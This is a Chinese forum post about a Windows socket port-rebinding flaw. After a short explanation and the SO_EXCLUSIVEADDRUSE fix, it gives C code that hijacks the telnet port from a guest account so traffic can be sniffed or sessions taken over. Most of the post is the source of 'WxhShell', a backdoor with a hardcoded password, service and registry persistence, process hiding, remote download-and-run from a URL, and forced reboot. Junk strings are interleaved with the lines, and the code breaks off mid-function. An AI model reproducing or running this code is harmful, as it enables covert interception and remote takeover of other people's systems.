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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [_3L  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /~_,p,:aP  
j<-YK4.t  
  saddr.sin_family = AF_INET; ?`=r@  
F'JceU  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); O`'r:&#W  
1y6{3AZm<  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5H/D~hr&  
hv9k9i7@l  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 f26hB;n  
Jrw R:_+|  
  这意味着什么?意味着可以进行如下的攻击: y (=$z/  
E3 aj  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 fqD1Ej  
JX2@i8[~  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) u|M_O5^  
ivP#qM1*;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 j# !U6T  
oTxE]a,  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  sEEyN3 N  
 z-;{pPZ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 S,^)\=v  
r( 8!SVX  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1zJ)x?  
{Nny .@P)H  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8G|kKpX  
gwv s  
  #include Y #6G&)M  
  #include ^ub@ Jwe  
  #include N&-J,p~  
  #include    hBNA,e:  
  DWORD WINAPI ClientThread(LPVOID lpParam);   vuNq7V*}  
  int main() NekPl/4  
  { o_on/{qz  
  WORD wVersionRequested; {_>}K  
  DWORD ret; } ^n346^  
  WSADATA wsaData; pJ3Yjm[l  
  BOOL val; (z.eXoP@>  
  SOCKADDR_IN saddr; [BKX$A:Y  
  SOCKADDR_IN scaddr;  j#YPo  
  int err; (2p<I)t  
  SOCKET s; DjveMs$d  
  SOCKET sc; n8'#'^|  
  int caddsize;  @1O.;  
  HANDLE mt; 45$F cK  
  DWORD tid;   b=Oec%Adx  
  wVersionRequested = MAKEWORD( 2, 2 ); }ujl2uhM  
  err = WSAStartup( wVersionRequested, &wsaData ); /}#@uC  
  if ( err != 0 ) { -)$5[jM]  
  printf("error!WSAStartup failed!\n"); )~H&YINhn  
  return -1; +:#UU;W  
  } nx'Yevi0$  
  saddr.sin_family = AF_INET; xHi.N*~D  
   m}o4Vr;"  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;]sbz4?  
31k2X81;a  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Tt\G y  
  saddr.sin_port = htons(23); y8CH=U[  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [X\~J &kD  
  { O#B2XoZa+  
  printf("error!socket failed!\n"); LV!<vakCK  
  return -1; HMPb%'U~  
  } 'MY0v_  
  val = TRUE; vZ/Bzy@|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 T~- OC0  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) TjLW<D(i>  
  { Vs@H>97,G  
  printf("error!setsockopt failed!\n"); qC ku q  
  return -1; acdF5ch@  
  } Hw 1cc3!  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Rr6}$]1  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 g]E>e v{`  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 CH+mzy  
u#~q86k  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) XX[CTh?O%  
  { fH*1.0f]6  
  ret=GetLastError(); 9KGi%UIFvn  
  printf("error!bind failed!\n"); ]@9ZUtU,;N  
  return -1; 0mi$_Ld+  
  } o2e gNTG  
  listen(s,2); IAzi:ct  
  while(1) ;kb);iT  
  { UTR`jXCg  
  caddsize = sizeof(scaddr); M sQ>eSk  
  //接受连接请求 Z[?zaQ$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1&#qq*{  
  if(sc!=INVALID_SOCKET) 1?,1EYT"  
  { )H| cri~D  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); c-q=Ct  
  if(mt==NULL) FoB^iA6 e  
  { g vu1  
  printf("Thread Creat Failed!\n"); Dwuao`~Xm  
  break; o* C_9M  
  } .LA?2N  
  } l#cG#-  
  CloseHandle(mt); {?hpW+1,#  
  } 1XPYI  
  closesocket(s); }\3jcnn  
  WSACleanup(); cPbAR'  
  return 0; ?3Y~q;I]O  
  }   c@Q&i  
  DWORD WINAPI ClientThread(LPVOID lpParam) cyPJ( &;  
  { A8U\/GP  
  SOCKET ss = (SOCKET)lpParam; s>c0K@ADO  
  SOCKET sc; 3*!w c.=  
  unsigned char buf[4096]; pUD(5v*0R  
  SOCKADDR_IN saddr; $ n"*scyI  
  long num; O =0j I  
  DWORD val; AtYqD<hl:  
  DWORD ret; .-4]FGg3  
  //如果是隐藏端口应用的话,可以在此处加一些判断 bd)'1;p  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   U2vM|7 ]VP  
  saddr.sin_family = AF_INET; , Aw Z%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); KuJNKuHa.  
  saddr.sin_port = htons(23); l _gJC.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +Hk r\  
  { 5VjO:>  
  printf("error!socket failed!\n"); $~)YI/b  
  return -1; s|\\"3  
  } B<\HK:%{  
  val = 100; ^\C Fke=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) eI3ZV^_Ps  
  { SI, t:=D  
  ret = GetLastError(); vtF|: *h  
  return -1; z=yE- I{  
  } i)th] 1K%  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *~0U4kw+  
  { FW)VyVFmk  
  ret = GetLastError(); OAo;vC:^  
  return -1; 9>9,   
  } 0S2/,[-u+  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 0,5)L\{ R  
  { -OXC;y  
  printf("error!socket connect failed!\n"); \dJOZ2J<z  
  closesocket(sc); %WlTx&jSgE  
  closesocket(ss); +=K =B  
  return -1; \- 8S"  
  } kwUy^"O  
  while(1) w0^}c8%WR  
  { L L? .E  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )=pa*  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 zvK'j"Wq=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 YF)k0bu&;  
  num = recv(ss,buf,4096,0); d<Dm(   
  if(num>0) / }Pj^^6A<  
  send(sc,buf,num,0); C`qE ,2.  
  else if(num==0) ,Q<mU4  
  break; ~'v9/I-"  
  num = recv(sc,buf,4096,0); y}1Pc*  
  if(num>0) * -(8Z>9  
  send(ss,buf,num,0); 7#(0GZN9h%  
  else if(num==0) se=;vp]3a  
  break; Xm3r)Bm'3  
  } 4 (XV)QR  
  closesocket(ss); qL4s@<|~  
  closesocket(sc); Z rv:uEl  
  return 0 ; bs0[ a 1/  
  } F-Bj  
V5'(op/  
mgMa)yc!dp  
========================================================== b|e1HCH  
*vzEfmN:d  
下边附上一个代码,,WXhSHELL }0,dG4Oo=  
D)tL}X$  
========================================================== fcO|0cQ  
1gQ_76Yck  
#include "stdafx.h" #I1q,fm  
>t{-_4Yv?  
#include <stdio.h> JOH\K0=e  
#include <string.h> u|LDN*#DW  
#include <windows.h> 0Wj,=9q  
#include <winsock2.h> ]>B4  
#include <winsvc.h> uS5G(}[  
#include <urlmon.h> }N&? 8s=  
?|~KF:,#}  
#pragma comment (lib, "Ws2_32.lib") _y&XFdp  
#pragma comment (lib, "urlmon.lib") \q\"=  
0S96x}]J B  
#define MAX_USER   100 // 最大客户端连接数 q%LjOPE V  
#define BUF_SOCK   200 // sock buffer [* M':  
#define KEY_BUFF   255 // 输入 buffer BA[ uO3\4  
#p ;O3E@  
#define REBOOT     0   // 重启 #\ uB!;Q  
#define SHUTDOWN   1   // 关机 UA|\D]xe  
^a<kp69qS  
#define DEF_PORT   5000 // 监听端口 U\(71 =  
+NbiUCMX  
#define REG_LEN     16   // 注册表键长度 `hdN 6PgK  
#define SVC_LEN     80   // NT服务名长度 }?o4MiLB  
'{-Ic?F<P  
// 从dll定义API W-*HAS  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nxB[T o*P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zz!jt A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *d`KD64  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bp<,Xfl  
3"juj '  
// wxhshell配置信息 70'gVCb  
struct WSCFG { --EDr>'D5P  
  int ws_port;         // 监听端口 `NTtw;%Y  
  char ws_passstr[REG_LEN]; // 口令 uW [yNwM  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3b|=V  
  char ws_regname[REG_LEN]; // 注册表键名 Gu@C* .jj!  
  char ws_svcname[REG_LEN]; // 服务名 E*h!{)z@F  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 YmpaLZJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \E[6wB>uN%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ii&p v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {,u})U2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *nYg-)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "7'P Lo3O  
xZ6x`BET-  
}; uq ;yR[w"  
RL$%Vy0  
// default Wxhshell configuration &Q#*Nnb3  
struct WSCFG wscfg={DEF_PORT, li,rPUCt  
    "xuhuanlingzhe", $s4.Aj  
    1, @ meT8S9t  
    "Wxhshell", 8t. QFze?  
    "Wxhshell", I&m' a  
            "WxhShell Service", o2'Wu:Y"  
    "Wrsky Windows CmdShell Service", 8N+T=c  
    "Please Input Your Password: ", >cLh$;l  
  1, no W]E}nN  
  "http://www.wrsky.com/wxhshell.exe", \Z,{De%  
  "Wxhshell.exe" <&#MX  
    }; k'k}/Hxub  
C fM[<w   
// 消息定义模块 K yyVO"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _9JFlBx  
char *msg_ws_prompt="\n\r? for help\n\r#>"; hO&_VCk  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M>[ A  
char *msg_ws_ext="\n\rExit."; R7U%v"F>`  
char *msg_ws_end="\n\rQuit."; jJ-C\ v  
char *msg_ws_boot="\n\rReboot..."; (^(l=EN-<  
char *msg_ws_poff="\n\rShutdown..."; >:4`y"0  
char *msg_ws_down="\n\rSave to "; jCXBp>9$M  
&q@brX<,=  
char *msg_ws_err="\n\rErr!"; .6T0d 4,1  
char *msg_ws_ok="\n\rOK!"; r @m]#4  
-jy0Kl/p  
char ExeFile[MAX_PATH]; T=)qD2?  
int nUser = 0; !\[JWN@v  
HANDLE handles[MAX_USER]; ".%d{z}vz  
int OsIsNt; d#]hqy  
:vX%0|  
SERVICE_STATUS       serviceStatus; Fi67"*gE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7F6 B  
/`7+Gy<  
// 函数声明 s'oNW  
int Install(void); S1I.l">P  
int Uninstall(void); k=[s%O 6H  
int DownloadFile(char *sURL, SOCKET wsh); 92t.@!m`  
int Boot(int flag); `CH,QT7e  
void HideProc(void); bc4V&  
int GetOsVer(void); ]d-.Mw,'  
int Wxhshell(SOCKET wsl); o{! :N>(  
void TalkWithClient(void *cs); ! xG*W6IT  
int CmdShell(SOCKET sock); \Dy|}LE  
int StartFromService(void); PCHspe9!y  
int StartWxhshell(LPSTR lpCmdLine); )Z:D}r8[  
`:;q4zij;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /.<v,CR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Y#XRn _2D  
~mARgv  
// 数据结构和表定义 AB`.K{h  
SERVICE_TABLE_ENTRY DispatchTable[] = !{ (Bc8 hT  
{ CUYA:R<)  
{wscfg.ws_svcname, NTServiceMain}, Hcwfe=K&/  
{NULL, NULL} J-Tiwl  
}; Z i.' V  
}ePl&-9T  
// 自我安装 *=2W:,$  
int Install(void) U31@++C[  
{ <K`E*IaW  
  char svExeFile[MAX_PATH];  L"%SU  
  HKEY key; eu9*3'@A  
  strcpy(svExeFile,ExeFile); 4$[o;t>  
kI)}7e  
// 如果是win9x系统,修改注册表设为自启动 |[IyqWG9  
if(!OsIsNt) { C_kuW+H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { } P ,"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5N;'CAk  
  RegCloseKey(key); n)98NSVDbT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { - ~|Gwr"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j}eb _K+I  
  RegCloseKey(key); m]!hP^^  
  return 0; >e>3:~&2  
    } =I546($  
  } 8zD>t~N2C  
} f4b9o[,s2e  
else { gK`w|kh`  
X<}}DZSu a  
// 如果是NT以上系统,安装为系统服务 ~qrSHn}+PU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <3x%-m+p4  
if (schSCManager!=0) X!ruQem /  
{ mGj)Zrx>  
  SC_HANDLE schService = CreateService =+Fb\HvX{  
  ( PY.K_(D  
  schSCManager, > 0MP[  
  wscfg.ws_svcname, o5tCbsHj-  
  wscfg.ws_svcdisp, p> `rTaeZg  
  SERVICE_ALL_ACCESS, L^ J|cgmNw  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &Mk!qE<:N  
  SERVICE_AUTO_START, eZa*WI=  
  SERVICE_ERROR_NORMAL, SQ_?4 s::  
  svExeFile, !%,7*F(  
  NULL, *x|%Nua"  
  NULL, D4!;*2t  
  NULL, FOsd{Fw  
  NULL, nc k/Dw  
  NULL sv% X8  
  ); `Npa/Q  
  if (schService!=0) UhDQl%&He  
  { rF-SvSj}  
  CloseServiceHandle(schService); WMf / S"=  
  CloseServiceHandle(schSCManager); C e-ru)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z3tx]Ade  
  strcat(svExeFile,wscfg.ws_svcname); p|-MwCeH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8(% F{&<;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @(sz"  
  RegCloseKey(key); szsVk#p  
  return 0; *OG<+#*\_?  
    } XIl <rN@-  
  } !E 5FU *s  
  CloseServiceHandle(schSCManager);  !Ld5Y$  
} xSmG,}3mF  
} ?'MkaG0g  
f1 x&Fk  
return 1; 'v6@5t19j  
} M*zpl}  
\Ggh 95y  
// 自我卸载 2LtDS?)@  
int Uninstall(void) bej(Ds0  
{ ^5sA*%T4  
  HKEY key; D;pI!S<#  
} {1IB  
if(!OsIsNt) { F/s n"2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H0afu)$,  
  RegDeleteValue(key,wscfg.ws_regname); YhN<vZ}U!~  
  RegCloseKey(key); Qo#]Lo> \g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O k`}\NZL  
  RegDeleteValue(key,wscfg.ws_regname); s:3[#&PQpN  
  RegCloseKey(key); 4Hj)Av <O(  
  return 0; RpivO,   
  } l )%PvLbL  
} {rKC4:  
} >O-KJZ'GV  
else { /+Z*)q+SbT  
ZyGoOk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -l= 4{^pK  
if (schSCManager!=0) B)JMughq_  
{ JsJP%'^/R  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  k[r^@|  
  if (schService!=0) YRu@; `  
  { EQm{qc;  
  if(DeleteService(schService)!=0) { {18hzhs  
  CloseServiceHandle(schService); E_ns4k#uG  
  CloseServiceHandle(schSCManager); 5#DMizv6  
  return 0; s;VW %e  
  } k1wIb']m]z  
  CloseServiceHandle(schService); 4?R979  
  } O4R\] B#Xu  
  CloseServiceHandle(schSCManager); VQ9A/DH/  
} 0g?)j-  
} bk0>f   
U^dfNi@q  
return 1; ~|+ ~/  
} b@Oq}^a&o  
2&1mI>:F  
// 从指定url下载文件 :PO./IBX  
int DownloadFile(char *sURL, SOCKET wsh) g:Hj1!'  
{ ~:DL{ZeEb  
  HRESULT hr; xKUL}>8  
char seps[]= "/"; ;U* /\+*h  
char *token; /v 8"i^;}  
char *file; t8^1wA@@V  
char myURL[MAX_PATH]; (4YLUN&1O$  
char myFILE[MAX_PATH]; |+nmOi,z  
N"70P/  
strcpy(myURL,sURL); F 3|^b{'zO  
  token=strtok(myURL,seps); 4aXIRu%#7  
  while(token!=NULL) 1/}H 0\9'  
  { }S> 4.8  
    file=token; 'UlVc2%{  
  token=strtok(NULL,seps); *#=Ijr~  
  } nR_Z rm  
:G _  
GetCurrentDirectory(MAX_PATH,myFILE); q'mh*  
strcat(myFILE, "\\"); EvT$|#FY  
strcat(myFILE, file); o[ 5dR<  
  send(wsh,myFILE,strlen(myFILE),0); MmT/J1zM  
send(wsh,"...",3,0); I*u3 e  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); RAW;ze*"  
  if(hr==S_OK) g|~px$<iY  
return 0; K%z!#RyJ4  
else K\K& K~Z  
return 1; Hyb(.hlZh  
YG\#N+D  
} QEyL/#Q  
2"ax*MQH<^  
// 系统电源模块 +z;*r8d<X  
int Boot(int flag) @Xo*TJB  
{ PT/Nz+  
  HANDLE hToken; I6.rN\%b  
  TOKEN_PRIVILEGES tkp; UoT`/.  
]\pi!oa  
  if(OsIsNt) { =D1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _p )NZ7yC  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y'2|E+*V  
    tkp.PrivilegeCount = 1; AB3_|Tza~&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [^hW>O=@TN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xM jn=\}  
if(flag==REBOOT) { (y9KO56.V&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) dFz"wvu` o  
  return 0; 9?l a5  
} dtTn]}J  
else { 3TwjC:Yhv2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) VF?H0}YSHb  
  return 0; h@%Xy(/m'  
} 6 >kULp  
  } "^]gIQc  
  else { D+7xMT8pqH  
if(flag==REBOOT) { P $`1}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) J^7m?mA  
  return 0; Dz}i-tw+  
} [ws _ g,/  
else { &N} "4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e9LX0=  
  return 0; ~` tuPk~l  
} -@>{q/  
} i2<z"v63  
u BEw YQB  
return 1; !^arWH[od  
} F- ,gj{s  
khy'Y&\F;  
// win9x进程隐藏模块 NW\CEJV  
void HideProc(void) 5H3o?x   
{ w'@gzK  
Nv5^2^Sc=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  ~~>m  
  if ( hKernel != NULL ) !5*VBE\  
  { p4VARAqi  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I*rUe#$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kvbZx{s  
    FreeLibrary(hKernel); !JCs'?A  
  } 7By7F:[b  
? |M-0{  
return; L( 6b2{"  
} !f~a3 {;j  
R~g|w4a@sC  
// 获取操作系统版本 !gX xM,R  
int GetOsVer(void) \+o\wTW  
{ fK/:  
  OSVERSIONINFO winfo; iYXD }l;r  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); m212 gc0u  
  GetVersionEx(&winfo); SAm%$v z%M  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "c%wq 0  
  return 1; WDc[+Xyw  
  else XFhH+4#]  
  return 0; 2!%)_<  
} 3bRxV @0.  
Gk:fw#R  
// 客户端句柄模块 NM. e4  
int Wxhshell(SOCKET wsl) FvsVfV U  
{ Ct=bZW"j/  
  SOCKET wsh; VEWW[ T  
  struct sockaddr_in client; 4  %0s p  
  DWORD myID; k{vj,#  
PZ]tl  
  while(nUser<MAX_USER) cK$yr)7  
{ G$C2?|V)=  
  int nSize=sizeof(client); S1=P-Ao  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _T)y5/[  
  if(wsh==INVALID_SOCKET) return 1; ?_H9>/:.  
OX"Na2-el  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /d&m#%9Up]  
if(handles[nUser]==0) DAw1S$dM  
  closesocket(wsh); BK!Yl\I<  
else &4%pPL\f  
  nUser++; dS1HA>c)O  
  } *R6lK&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); J4qk^1m.  
5o6IpF 0V  
  return 0; hb3n- rO  
} k+_>`Gre}  
O*N:A[eW  
// 关闭 socket eU"yF >6'  
void CloseIt(SOCKET wsh) tw4,gW  
{ 9a_P 9s3w  
closesocket(wsh); Yc#Uu8f-  
nUser--; 9R=avfI  
ExitThread(0); ZA=J`- >k  
} h2Q'5G  
I"&cr>\  
// 客户端请求句柄 {\>4)TA  
void TalkWithClient(void *cs) KS_+R@3Z  
{ &N.pW=%,N  
;0eVE  
  SOCKET wsh=(SOCKET)cs; 8~!E.u9w  
  char pwd[SVC_LEN]; uyX % &r  
  char cmd[KEY_BUFF]; ?8 }pZ_j  
char chr[1]; aR2N,<Cp5  
int i,j; i9 aR#  
*(x.egORd  
  while (nUser < MAX_USER) { ^fF#Ej1  
o@A`AA9  
if(wscfg.ws_passstr) { M7BpOmK'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P#TPI*qw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QGNKQ`~  
  //ZeroMemory(pwd,KEY_BUFF); . vHHw@  
      i=0; rQv5uoD  
  while(i<SVC_LEN) { jt oS{B,  
[P}Bq6;p  
  // 设置超时 RxP~%oADw  
  fd_set FdRead; 4 QQt 0u0  
  struct timeval TimeOut; ;"D}"nL  
  FD_ZERO(&FdRead); d- ZUuw  
  FD_SET(wsh,&FdRead); +"84.PZ  
  TimeOut.tv_sec=8; 45biy(qa  
  TimeOut.tv_usec=0; X1w11Z7o  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mc]+j,d  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); H:~bWd'iz  
8cO?VH,nk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1e\cJ{B  
  pwd=chr[0]; [>NMuwtG  
  if(chr[0]==0xd || chr[0]==0xa) { %Za}q]?  
  pwd=0; IYn`&jS{  
  break; )B]"""J  
  } wXQu%F3  
  i++; |ts0j/A]Pi  
    } ]{=y8]7  
-gGw_w?)(  
  // 如果是非法用户,关闭 socket M2%@bETJ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +xuv+mo  
} X&[Zk5DU*  
KaEaJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 23CvfP  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !W XV1S  
,OlS>>,  
while(1) { |2'WSAWG  
.7.1JT#@A7  
  ZeroMemory(cmd,KEY_BUFF); -+F,L8  
&/m^}x/_W  
      // 自动支持客户端 telnet标准   !=S?*E +j)  
  j=0; o"Xv)#g&  
  while(j<KEY_BUFF) { ^m7y=CJM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4lPO*:/  
  cmd[j]=chr[0]; ln_&Ux+l  
  if(chr[0]==0xa || chr[0]==0xd) { i>S@C@~  
  cmd[j]=0; *Y8 5ev q  
  break; 09 McUR@  
  } 1*A^v  
  j++; bF9.k  
    } &Sb)a  
zgFL/a<  
  // 下载文件 oY~q^Y  
  if(strstr(cmd,"http://")) { ] 6(%tU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gy?uk~p  
  if(DownloadFile(cmd,wsh)) xqSZ {E:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); g]j&F65D  
  else ~AWn 1vFc  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~g{1lcqQP  
  } << =cZ.HP  
  else { 9O &]!ga  
xjBY6Ylz  
    switch(cmd[0]) { KsGW@Ho:  
  9'(^ Coq  
  // 帮助 j![1  
  case '?': { 7zzFM  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %KF I~Qk  
    break; 'g <"@SS+  
  } <IIz-6*V  
  // 安装 }bi hlyB&Q  
  case 'i': { st??CX2  
    if(Install()) n^1BtP0!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p+Q9?9  
    else ##By!F TP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S? Cd,WxT  
    break; m>Z3p7!N}  
    } /w?zO,!  
  // 卸载 KHP/Y {mH  
  case 'r': { ` C d!  
    if(Uninstall()) ) YB'W_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q|[^dju  
    else q-^{2.ftcx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fhn$~8[_A  
    break; 6  _V1s1F  
    } 'hu'}F{  
  // 显示 wxhshell 所在路径 dB~A4pZa  
  case 'p': { ;^JMX4[  
    char svExeFile[MAX_PATH]; {|$kI`h,3-  
    strcpy(svExeFile,"\n\r"); cRs\()W  
      strcat(svExeFile,ExeFile); 3 }sy{Mx%9  
        send(wsh,svExeFile,strlen(svExeFile),0); fP 3eR>e  
    break; LRw-I.z  
    } B4HMs$>   
  // 重启 ,f%4xXI  
  case 'b': { d_:f-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A;X3z-[[  
    if(Boot(REBOOT)) I] +OYWp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J>+\a1{  
    else { 6W:]'L4!  
    closesocket(wsh);  Hxy=J  
    ExitThread(0); qOmL\'8  
    } h:7\S\|8  
    break; g?iZ RM  
    } Gv]94$'J9  
  // 关机 ]w,|WZm  
  case 'd': { vH}VieU  
